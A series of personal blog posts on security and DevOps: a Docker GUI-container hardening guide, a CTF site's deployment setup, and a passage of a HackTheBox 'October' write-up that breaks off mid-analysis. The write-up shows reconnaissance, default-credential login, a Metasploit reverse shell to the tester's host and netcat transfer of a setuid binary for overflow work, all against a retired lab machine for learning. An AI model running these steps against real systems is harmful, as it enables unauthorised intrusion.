Forem: Ari Kalfus

Learn cyber security: TryHackMe Advent Of Cyber

Ari Kalfus — Sun, 06 Dec 2020 17:54:21 +0000

In the spirit of the advent of code challenges this month, I thought I'd let y'all know about a similar series of exercises: TryHackMe is a platform to learn about offensive and defensive security things.

This month is their second "Advent of Cyber," in which each day they teach you about a new security topic and provide you some free challenges to try them out yourself - they provide a video walkthrough every day as well because the intent is for you to learn. 25 days in total following the month of December.

Part of my job (unrelated to TryHackMe) involves putting together good application security training resources for our developers, and this year's Advent of Cyber is looking like a really excellent introduction to a lot of cyber topics. On Day 2, you execute a reverse shell. On Day 5, you execute SQL injection. The later days in the schedule look like we'll be hitting packet inspection and reverse engineering.

Check it out!

https://tryhackme.com/christmas

Find The Cube

Ari Kalfus — Wed, 25 Nov 2020 01:56:45 +0000

Can you solve the five challenges in the first set and Find The Cube?

https://findthecube.com/

This is my first take at a security capture-the-flag challenge platform. I don't want to talk too much about the challenges to avoid giving things away. You are looking at beginner web and cipher challenges. That's not to say they are easy!

This is a Nuxt project running in a Docker container - two containers of the image, actually - load balanced behind Nginx. The simpler times of software deployment, before Kubernetes and ECS/EKS. If I get enough traffic to warrant the stupid ALB costs, I'll throw up an ALB and set an auto-scaling group to add and remove servers based on CPU utilization. I put the app, infrastructure, and deployment pipeline together in one week.

The repository is private but there is a CI/CD no-downtime deployment process. So fancy! I use goss to test the built image along with the docker/build-push-action. The end of my ci.yml GitHub Action workflow looks like this:

- name: Cache
        uses: actions/cache@v2
        with:
          path: /tmp/.buildx-cache
          key: ${{ runner.os }}-buildx-${{ github.sha }}
          restore-keys: |
            ${{ runner.os }}-buildx-

      - name: Build the Docker image
        uses: docker/build-push-action@v2
        with:
          push: false
          tags: ${{ env.IMAGE_NAME }}:test
          load: true
          cache-from: type=local,src=/tmp/.buildx-cache
          cache-to: type=local,dest=/tmp/.buildx-cache
          build-args: |
            BROWSER_BASE_URL=https://findthecube.com

      - name: Test the image
        run: dgoss run ${{ env.IMAGE_NAME }}:test

The deployment is where it gets fun. I use Amazon's aws-actions/configure-aws-credentials action to configure credentials to my AWS account. I then build a new image and push it to my registry, then use an Systems Manager Run Command (aws ssm send-command) to stop the containers, pull the new image, and restart the containers.

- name: Configure AWS Credentials
  uses: aws-actions/configure-aws-credentials@v1
  with:
    aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
    aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
    aws-region: us-east-1

// ...

- name: Update Server Deployment
  run: |
    instanceid=$(aws ec2 describe-instances --filters 'Name=tag:Name,Values=TheCube' --query 'Reservations[*].Instances[*].InstanceId' --output text)
    aws ssm send-command --document-name "AWS-RunShellScript" --targets "Key=InstanceIds,Values=${instanceid}" --cli-input-json file://__scripts/updateDockerImageDeployment.json

The /__scripts/updateDockerImageDeployment.json file is the bit of JSON which is the bash script to run on the servers targeted in my aws ssm call.

{
  "Parameters": {
    "commands": [
      "#!/bin/bash",
      "set -eu",
      "docker pull .../artis3n/thecube:latest",
      "docker stop thecube1",
      "docker rm thecube1",
      "docker run --name thecube1 -d --restart unless-stopped -p 3000:3000 .../artis3n/thecube:latest",
      "docker stop thecube2",
      "docker rm thecube2",
      "docker run --name thecube2 -d --restart unless-stopped -p 3001:3000 .../artis3n/thecube:latest",
      "docker image prune -f"
    ]
  }
}

This makes it super easy to push updates to the server. I publish a new release on GitHub, a new deployment is triggered, updates are pushed to the server, bam a couple minutes after the release the new version is live.

Good luck! Find the cube.

Be gentle on the last challenge, it is on a lone t2.medium server! If it gets too busy I'll set up an auto-scaling group.

How is Deno Doing? (Nov 2020)

Ari Kalfus — Mon, 09 Nov 2020 03:15:08 +0000

How is Deno maturing? Are folks using it? How do they like it vs. traditional Node (server) development? How do you feel the framework and library ecosystems are coming along?

Running a Graphical Application from a Docker Container - Simply and Securely

Ari Kalfus — Mon, 14 Sep 2020 03:30:31 +0000

Running a graphical application via a Docker container sounds awesome. Take the relatively larger complexity of a graphical app, encapsulate all of the brittle graphical compilation requirements, and serve a consistent experience regardless of your users' actual hardware. The epitome of the greatness that is containerized applications.

However, I have not seen great recommendations online on how to do this. I have seen many examples of GUI Docker images requiring --privileged or other capabilities to be passed to the container, have seen weird graphical hacks such as running a VNC or SSH server inside the container and exposing the application through that, or running the application inside the container as root. We can do better!

I will show you how to configure your graphical Docker image securely using my PgModeler image as an example: https://github.com/artis3n/pgmodeler-container. Understanding how to secure a Docker container requires understanding the underlying Linux behaviors taking place so we will discuss them in-depth. However, the result is a handful of extra lines to your Dockerfile and two volumes passed during docker run.

If you are just here for the Docker command, here it is:

XAUTHORITY=$(xauth info | grep "Authority file" | awk '{ print $3 }')
docker run --rm --cap-drop=all \
    -e DISPLAY \
    -v /tmp/.X11-unix:/tmp/.X11-unix:ro \
    -v $XAUTHORITY:/home/modeler/.Xauthority:ro \
    -v /persistent/local/directory/for/project:/app/savedwork \
    ghcr.io/artis3n/pgmodeler:latest

The rest of the article will explain everything happening in this simple, secure command.

PgModeler is a tool to visually develop and maintain PostgreSQL schemas. It is a QT-based application with relatively involved compilation instructions if you are building from source. PgModeler has a GPL-3.0 license and allows you to compile it from source for free; pre-compiled binaries are available for a modest fee. I have not contributed to the PgModeler project, but I did create this Docker container to easily use it.

My goals for this container are:

Non-privileged user
- PGModeler will run as the modeler user, which does not have sudo privileges inside the container.
No host capabilities granted
- We must grant access to our host's X server to draw an application on the screen. For this bullet, I am looking at the Linux kernel capabilities and enforcing that none are used.
Simple to use
- It should take 1-2 minutes (including docker pull time) for an end-user to get started with this container. No complicated file modifications or terminal configuration.

Why care about a non-privileged user inside a container?

There is an argument to make that using a non-root user inside a Docker container is not required. Docker documents the limited functionality of the root user (by which I mean uid=0) inside a container.

“root” within a container has much less privileges than the real “root”...
This doesn’t affect regular web apps, but reduces the vectors of attack by malicious users considerably.
By default Docker drops all capabilities except those needed, an allowlist instead of a denylist approach.

- https://docs.docker.com/engine/security/security/

The argument in favor of just using root inside the container - which is the default - is that user uid=0 is already pretty limited inside the container. Only by misconfiguring the kernel capabilities granted to the container can you cause a security issue when running as root inside the container.

I disagree with the idea that project maintainers do not need to concern themselves with the possibility of end-user misconfiguration, especially with a technically complex topic like containerization. To be clear, I hear this argument from people discussing Docker, not from Docker's official documentation or representatives. However, I do not find the argument "it is only a problem if you misconfigure it, now here are a bunch of choices make sure you don't pick the wrong ones" persuasive. Similar to technical experts' complaints against JWTs and PGP - if the standard allows for common implementation errors, the fault lies with the standard, not with the individual implementations. Additionally, running as uid=0 inside a container still leaves you vulnerable to kernel CVEs or other novel container escapes. This is not necessarily something you need to concern yourself with on a personal project, but it is quite important in enterprise production and should be treated as a best practice for personal containers as well.

If you are running as uid=0 inside the container and grant some level of access to the host, you are uid=0 to the host as well. What this means depends on the exact configuration. You may misconfigure a Docker component - unless your code never produces bugs, in which case I want to give you a Captcha check. The misconfiguration may be as tame as passing in a volume that you didn't intend to passing a kernel capability or, please say it isn't so, passing the Docker socket from the host into the container. These may allow a process to break out of the Docker container.

But even if you don't misconfigure a container, running as uid=0 inside the container may still leave you vulnerable. One of the most famous recent Docker exploits is CVE-2019-5736, a container escape leveraging runc. The exploit is well explained by Palo Alto Network's Unit 42 here. RunC is a container runtime originally developed as part of Docker and later extracted out as a separate open-source tool and library.

High level” container runtimes like Docker will normally implement functionalities such as image creation and management and will use runC to handle tasks related to running containers – creating a container, attaching a process to an existing container (docker exec) and so on.

An attacker with root access in the container can then use /proc/[runc-pid]/exe as a reference to the runC binary on the host and overwrite it.
Root access in the container is required to perform this attack as the runC binary is owned by root.
The next time runC is executed, the attacker will achieve code execution on the host.
Since runC is normally run as root (e.g. by the Docker daemon), the attacker will gain root access on the host.

So, without doing anything wrong, if your container's user ran as uid=0, you would be vulnerable and a process could break out of the container. If you were a non-root user, the CVE could not have been exploited. For a development or personal project, these things are perhaps not something you need to care about. You are generally running your own code inside your container on a personal host. However, I think it is important to understand the reasoning here. Especially for production or externally-accessible resources, your containerized code should be running as a non-root process. I recommend always doing it because it isn't much additional effort. It does require you to understand what you want your container to be doing because you must explicitly grant your non-root user read/write access to the appropriate files in the container. I consider that a side benefit of this process - a better understanding of your code.

Configuring a non-privileged user

The requirements to set up a non-privileged user are highly dependent on what you need the user to do inside your container. In my case, I need my modeler user to be able to run PgModeler. The PgModeler source code will be copied to /pgmodeler and I will compile it to /app. Thus, modeler just needs to own the /app directory to run PgModeler. In fact I leverage a multi-stage build to reduce the image bloat and only copy in the /app directory after compiling it in the intermediate layer.

The USER Dockerfile command will set the username (or UID / GID) for any subsequent RUN, CMD, or ENTRYPOINT instructions. So my steps are:

As root, copy the PgModeler source code onto the container
Create the modeler user
Compile PgModeler and ensure modeler has permissions on the /app directory
Assume modeler user with USER before the ENTRYPOINT

I copy over the source code from two submodules in my repo:

COPY ./pgmodeler /pgmodeler
COPY ./plugins /pgmodeler/plugins

I compile the application in one RUN command.

WORKDIR /pgmodeler
RUN mkdir /app \
    && mkdir /app/savedwork \
    && "$QMAKE_PATH" -version \
    && pkg-config libpq --cflags --libs \
    && "$QMAKE_PATH" -r CONFIG+=release \
        PREFIX="$INSTALLATION_ROOT" \
        BINDIR="$INSTALLATION_ROOT" \
        PRIVATEBINDIR="$INSTALLATION_ROOT" \
        PRIVATELIBDIR="$INSTALLATION_ROOT/lib" \
        pgmodeler.pro \
    && make \
    && make install

Now in the next stage of the build, I copy the /app directory and create a non-root modeler user. I grant that user permissions on the /app directory.

COPY --from=compiler /app /app

RUN groupadd -g 1000 modeler \
    && useradd -m -u 1000 -g modeler modeler \
    && chown -R modeler:modeler /app

Finally, I set my image to assume the modeler user for the ENTRYPOINT.

USER modeler
WORKDIR /app

ENV QT_X11_NO_MITSHM=1
ENV QT_GRAPHICSSYSTEM=native

ENTRYPOINT ["/app/pgmodeler"]

Let's talk about the 1000:1000 UID:GID.

I want the non-privileged user to be able to write files to a mounted volume at /app/savedwork inside the container. This will allow for project file persistence between invocations of the container, allowing us to save work to a directory on the host file system. To do this, the container user must have the same UID and GID as the host user who owns the directory on the host. What do I mean? Let's look at the Documents folder on my host file system.

My host's username and group is artis3n and I can see with the id command that my user ID (UID) and group ID (GID) are both 1000.

These days on Linux systems, new users are created starting at id 1000. This default is defined in /etc/login.defs.

This means it is extremely likely that every end-user of my container will have 1000:1000 UID:GID. This matters because when mounting a volume to a Docker container, Docker passes the host file system permissions onto the mounted volume path. So if we mounted ~/Documents on the host to /app/savedwork inside the container, the savedwork directory will have permissions 0755 1000:1000. Only the owner, user ID 1000, will have write permissions to the directory. Group and world will only get read and execute.
We could modify the permissions on our host file system to grant world-writable permissions to the directory (0757 or 0777), but that is strongly not recommended. Instead, by ensuring our internal container user's UID matches our host's UID, we can assume the existing 1000:1000 ownership of the directory and write files to the volume transparently.

My base FROM image is ubuntu:20.04, so I can check and see that the same 1000 default is set as well. We can also see that if I run useradd and create a user, that user is given 1000:1000 UID:GID.

However, I don't want to rely on that default. I want to be explicit in my container and avoid implicit failures. It is a simple process to explicitly declare what UID and GID you want when creating a new user and group. This is where the -g and -u flags come into play in the groupadd and useradd commands, respectively.

RUN groupadd -g 1000 modeler \
    && useradd -m -l -u 1000 -g modeler modeler

We can see with -g and -u that we explicitly assign the GID and UID for our new user. This ensures that we will always have 1000:1000, matching our user on the real host.

What if our host user isn't running the default UID:GID?

What if our host user isn't 1000:1000? Given that we explicitly give modeler UID and GID of 1000, we will need to keep the container UID as 1000 for modeler to run /app/pgmodeler. An alternative is to rebuild the container with group/world-writable permissions inside the container to the necessary files for pgmodeler to run. This is a legitimate path forward and preferred to changing directory or file permissions on the host, but I have not elected to do that in my container at this time. For your container, you may want to consider that.

Regardless, we can pass in different UID and GID assignments to the Docker user when starting a container. For example, if our host user is UID/GID 1001, we can tell Docker to start the container and add the container user to the 1001 group.

This will allow us to write files to the persistence volume while allowing modeler to still run pgmodeler. Note that entering the container throws an error because group 1001 doesn't exist inside the container, but we can see with id that our modeler user's groups have changed. If group 1001 on the host owns the directory volume mounted to /app/savedwork and has write permissions, the container will still run and we will be able to save files to our mounted volume.

If I need to change the user's UID, I can do so with -u.
I can change both the UID and GID (in UID:GID format) or just the UID. This overwrites the UID or GID for the user in the container as opposed to appending a new group with --group-add.

This is it! I have a non-root user running pgmodeler inside the container and can modify the user inside the container to match requirements on the host to write files for project persistence.

Note on Xauthority and UID

When discussing how to modify the container user with -u UID:GID in the docker run command, the most important consideration for my project is the owner of the Xauthority file. We haven't reached this section of the article yet, but this is a file granting a user permission to access the host's X server. We pass this file into the container so the container user must be able to read this file. However, this file is commonly only readable by the host owner.

If an end-user tries to use my container and isn't UID 1000 on their host, they will fail to access their host X server and pgmodeler will fail to start (because my container will try to read the file as UID 1000). If a user modifies their UID with -u when starting the container, pgmodeler will fail to start because UID 1000 owns all the necessary files inside the container.

The solution is to rebuild the container with world-writable file permissions on the necessary files inside the container for pgmodeler to run. I have opted not to make those changes at this time until I get a GitHub issue from an end-user hitting this problem. I don't need to over-engineer the container if the issue does not present itself! However, for your graphical containers, this is an important point to keep in mind.

An alternative but less-recommended solution would be to enable any localhost connection access to your X server with xhost +local:. This is not recommended and we will shortly explore why that is, but it would allow a user in the container without the host's UID access to the host's X server.

Passing the host display to the container

X server enters the chat.

We have compiled the graphical application in the image and created the non-root user. We are ready to run the container. It needs access to draw an application on our host's display. Simply running the container results in a could not connect to display error.

How do we grant access to the display? This is done by granting the container access to the host's X server.

An X server is a program in the X Window System that runs on local machines (i.e., the computers used directly by users)
and handles all access to the graphics cards, display screens and input devices (typically a keyboard and mouse) on those computers.

- http://www.linfo.org/x_server.html

Passing access to your display into the Docker container requires mounting either 1 or 2 volumes in read-only format. -v is a standard way of doing this, although --mount is now the Docker-recommended approach for passing in a volume. You include either flag during a docker run invocation. The syntax for -v is very particular and is one of the reasons why Docker recommends the more verbose (albeit initially confusing) --mount syntax. I still find -v simpler, perhaps because I am already familiar with the syntax. -v is constructed of 3 parts separated by colons (:).

-v /path/on/host/:/path/on/container:optionalOptions

For example, we use -v /tmp/.X11-unix:/tmp/.X11-unix:ro to pass the X server socket into the Docker container. /tmp/.X11-unix is the Unix domain socket path for the X server socket on Linux and OSX systems. The GUI app needs access to this socket to draw the app on the screen.

However, passing this volume to the container is still not sufficient. We again get a could not connect to display error and a core dump.

This is because of X server's access control. This access control is governed by two methods: xhost and xauth.

xhost sets global policy rules for the X server. For example, we can run xhost +local: to allow any localhost connection access to our host's X server. This is not recommended. However, this would work in getting our container running. We can see that passing in our $DISPLAY with -e DISPLAY and allowing local connections with xhost enables the application to run.

xhost allows us to add or delete hostnames or usernames to the allowlist of things allowed to make connections to the X server. The smallest access we can grant is localhost access from the host user (in my case, artis3n). However, this grants access to any process running locally. There is no way to restrict access with xhost to just the single process (the pgmodeler Docker container).

This is where xauth comes in. xauth grants what we'll charitably call authentication for the X server. xauth enables a so-called "magic cookie" that you can share between hosts and processes. When the container wants access to the display, it presents this magic cookie to the X server and is granted access. This allows us to grant access to just our Docker container. Any other process running locally is still restricted from accessing the X server.

xauth is running by default on any system with an X server. To grant our container access to the magic cookie, we need to find where our system has written the file and then pass in that file to the Unix default location: $HOME/.Xauthority. In our case, that would be /home/modeler/.Xauthority.

We can discover the location of our .Xauthority file with the command xauth info.

We can use the following command to extract the absolute path of our .Xauthority file on any system.

XAUTHORITY=$(xauth info | grep "Authority file" | awk '{ print $3 }')

Now we pass in that volume to the container (read-only, :ro) and see that the container can display the GUI without needing to disable xhost controls.

A note about X11 risks

In the above examples, the container will have full access to the host's X server, either by disabling restrictions with xhost or by granting access through the xauth cookie. What is the risk? Well, for one, the X server must have access to draw on our screen because it creates the graphical application. This means that a malicious application running in the container (having been granted X server access) can take a screenshot of our screen whenever it wants.

But, wait, that's not all! The X server also has access to the clipboard and input devices such as the keyboard and mouse because it needs to know how to translate movement, typing, and copy+paste actions from the host to the GUI app. So, if I run a third-party product inside my container (such as PgModeler), passing in the X11 socket can give that code the ability to log my keystrokes, manipulate my mouse movements, and read data copied into my clipboard. This article presents some proof-of-concept exploits hijacking an X11 socket for nefarious ends inside a Docker image. In particular, the "enable caps lock every 20 minutes" example would drive me crazy.

X11 wasn't designed for security, so there is no way to restrict these capabilities if you grant something access to your X server. The best we can do is limit the number of things that can access the X server. This means leaving xhost alone and passing the xauth cookie to a container whose code you trust. Don't pass the X server socket into a random 3rd party container you have not audited!

To cap-drop or not to cap-drop

The final modification I will make to my docker run command is to drop all Linux kernel capabilities. As documented in Docker's security section, Docker grants a container a restricted set of kernel capabilities.
These defaults are typically fine to leave as-is. In a security-sensitive production container, however, it is worth dropping all kernel capabilities and seeing if the container still works without issue. And if the container does break, incrementally adding single capabilities until the necessary one has been identified.

For my PgModeler container use case, I can leave the default capabilities alone. However, my container also runs PgModeler fine after removing all kernel capabilities. So, let's do that! --cap-add is used to add individual kernel capabilities to the Docker container. --cap-drop is used to drop individual capabilities. To drop all of them, we can use --cap-drop=all.

Wrap-up

The final Docker command to run the image becomes:

XAUTHORITY=$(xauth info | grep "Authority file" | awk '{ print $3 }')

docker run --rm --cap-drop=all \
    -e DISPLAY \
    -v /tmp/.X11-unix:/tmp/.X11-unix:ro \
    -v $XAUTHORITY:/home/modeler/.Xauthority:ro \
    -v /persistent/local/directory/for/project:/app/savedwork \
    ghcr.io/artis3n/pgmodeler:latest

Hopefully, you now understand every option being set here. The final volume mapping to /app/savedwork in the container is used for project persistence. We can save files in PgModeler to the /app/savedwork directory and they will be written to the host file system at whatever path the end-user chooses to mount.

If you are hesitant to allow X server access to a container, an interesting project to explore is x11docker. The gist of that project is to run a second X server with its own authentication cookies. Docker containers get access to the new X server and are segregated from display :0 on the host. This would prevent them from accessing your main display, although I am not sure how it affects the keyboard, mouse, and clipboard. Head over to that project and ask!

You can view all the code for my PgModeler container at the repository: https://github.com/artis3n/pgmodeler-container.

If you need a Postgres schema visualization tool, try PgModeler through my container, either from the GitHub Container Registry or from Docker Hub!

docker pull ghcr.io/artis3n/pgmodeler:latest
docker pull artis3n/pgmodeler:latest

Buffer Overflow ASLR Bypass on HackTheBox October - with Metasploit

Ari Kalfus — Sun, 23 Aug 2020 05:01:25 +0000

This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.

October

Difficulty: Medium

Machine IP: 10.10.10.16

The port scan identifies a web server as the sole vector.

sudo nmap -sS -T4 -p- 10.10.10.16

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:14 EDT
Nmap scan report for 10.10.10.16
Host is up (0.017s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 97.13 seconds

sudo nmap -sS -T4 -A -p 22,80 10.10.10.16

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:20 EDT
Nmap scan report for 10.10.10.16
Host is up (0.020s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS                                                                                              
1   26.69 ms 10.10.14.1                                                                                           
2   26.69 ms 10.10.10.16

The web server has some kind of explicit sleep and takes a long time to respond to requests. This makes directory enumeration difficult. I run a smaller wordlist and after about 20 minutes, I have the following content so far.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php --timeout 30s -u http://10.10.10.16/

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.16/
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        30s
===============================================================
2020/06/28 11:39:53 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/Blog (Status: 200)
/account (Status: 200)
/backend (Status: 302)
/blog (Status: 200)
/config (Status: 301)
/error (Status: 200)

I can start looking into these endpoints while I let that run in the background. From the initial content, I can see this is running October CMS (box name is a giveaway as well).

http://10.10.10.16/backend reveals a login form. I guess admin / admin and find that these credentials are correct.

searchsploit shows that there is a Metasploit module that exploits an authenticated session.

searchsploit october

-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasploit)              | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities                                  | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting                                    | php/webapps/44144.txt
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting                 | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting                           | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery                     | php/webapps/43106.txt
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

I go ahead and use the exploit/multi/http/october_upload_bypass_exec module in Metasploit to get a user shell as the www-data user.

msf5 exploit(multi/http/october_upload_bypass_exec) > run

[*] Started reverse TCP handler on 10.10.14.41:4444 
[+] Authentication successful: admin:admin
[*] Sending stage (38288 bytes) to 10.10.10.16
[*] Meterpreter session 1 opened (10.10.14.41:4444 -> 10.10.10.16:49062) at 2020-06-28 12:16:13 -0400
[+] Deleted pXNLiuNzD.php5

meterpreter >

I can get the user flag. From here I upload Linux Smart Enumeration (LSE) to the target and execute it to enumerate the system.

www-data@october:/tmp$ ./lse.sh -c -i -l 1 | less

The most interesting item is that a setuid binary exists on the system that www-data can execute.

[!] fst020 Uncommon setuid binaries........................................ yes!
:
---
:        
/usr/local/bin/ovrflw

LSE is a great enumeration script. A setuid binary is an executable with the SUID bit set. This means that the file is executed with the privileges of the file owner, regardless of the user that executes the file. Given that root owns the /usr/local/bin/ovrflw file, this means that if I can get the ovrflw binary to somehow execute a shell, the shell will spawn as the root user.

Given the name of the file, I assume that this will require a buffer overflow. Indeed, I can verify that an overflow vulnerability exists by passing a large input.

www-data@october:/tmp$ /usr/local/bin/ovrflw
/usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>

www-data@october:/tmp$ /usr/local/bin/ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
www-data@october:/tmp$ ^[[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation fault (core dumped)
www-data@october:/tmp$

I got a segmentation fault. Time to copy down this binary onto my machine and get it prepped for buffer overflow analysis.

On my machine, I set up netcat to listen for data and output it to a file.

artis3n@kali-pop:~/shares/htb/october$ sudo nc -l -p 999 > ovrflw

Since nc is present on the target, I can transfer the file with the following command.

www-data@october:/tmp$ nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw
nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw

I use md5sum to verify that the local file I have is the same as on the server.

artis3n@kali-pop:~/shares/htb/october$ md5sum ovrflw 
0e531949d891fd56a2ead07610cc5ded  ovrflw

www-data@october:/tmp$ md5sum /usr/local/bin/ovrflw
md5sum /usr/local/bin/ovrflw
0e531949d891fd56a2ead07610cc5ded  /usr/local/bin/ovrflw

I also need to check the architecture of the target system.
This is a 32-bit machine running Ubuntu 14.04.

www-data@october:/tmp$ uname -a
uname -a
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
www-data@october:/tmp$ cat /etc/lsb-release
cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"

Since I want to match the target as closely as possible when developing the buffer overflow, I'll use an Ubuntu 14.04 image. The closest I could get was https://releases.ubuntu.com/trusty/ubuntu-14.04.6-desktop-i386.iso, which is pretty close. I spin that up in VMWare and begin installing. You can use Virtualbox, but I feel that Virtualbox VM performance is significantly worse than VMWare. There is also ubuntu/images/ebs/ubuntu-trusty-14.04-i386-server-20180627 under public community AMIs on AWS, so you can try that out.

In the VMWare VM, which takes about 5 minutes to install, I set up gdb and PEDA. PEDA is Python Exploit Development Assistance for GDB. It's a beneficial complement on top of gdb.

sudo apt update && sudo apt install -y build-essential git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

I copy my binary over to this test VM.

artis3n@ubuntu:~/Desktop$ wget http://172.16.145.128:8000/ovrflw

--2020-06-28 10:26:29--  http://172.16.145.128:8000/ovrflw
Connecting to 172.16.145.128:8000... ^C
artis3n@ubuntu:~/Desktop$ wget http://192.168.1.209:8000/ovrflw
--2020-06-28 10:27:20--  http://192.168.1.209:8000/ovrflw
Connecting to 192.168.1.209:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7377 (7.2K) [application/octet-stream]
Saving to: ‘ovrflw’

100%[============================================================>] 7,377       --.-K/s   in 0.001s  

2020-06-28 10:27:20 (12.1 MB/s) - ‘ovrflw’ saved [7377/7377]

artis3n@ubuntu:~/Desktop$ ls -l

total 8
-rw-rw-r-- 1 artis3n artis3n 7377 Jun 28 10:07 ovrflw

Now I start my analysis.

gdb ./ovrflw
> b main
> run

This view of the registers and memory addresses comes from PEDA.

I can check the security flags compiled into the binary with PEDA's checksec command.

NX is enabled, but I don't really care about that. I should also check whether ASLR is enabled on the target machine.

On the target, I get libc's memory address (0xb7565000) with:

www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)

I see that repeated invocations of ldd /usr/local/bin/overflw show that libc's memory address changes every time.

www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7640000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7547000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7564000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc    
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ba000)

This means that ASLR is enabled. This means I cannot rely on grabbing static memory addresses from the target system for a return-to-libc attack, because the memory addresses will be different each time.

For the meantime on my test VM, I disable ASLR to get a basic buffer overflow exploit working. I will have to modify it to bypass ASLR, but one step at a time. To disable ASLR, you have to su to root and run the following command:

artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n: 
root@ubuntu:/home/artis3n/Desktop# echo 0 > /proc/sys/kernel/randomize_va_space

On the test VM, I can now see that ASLR is disabled, as the libc memory address does not change.

artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
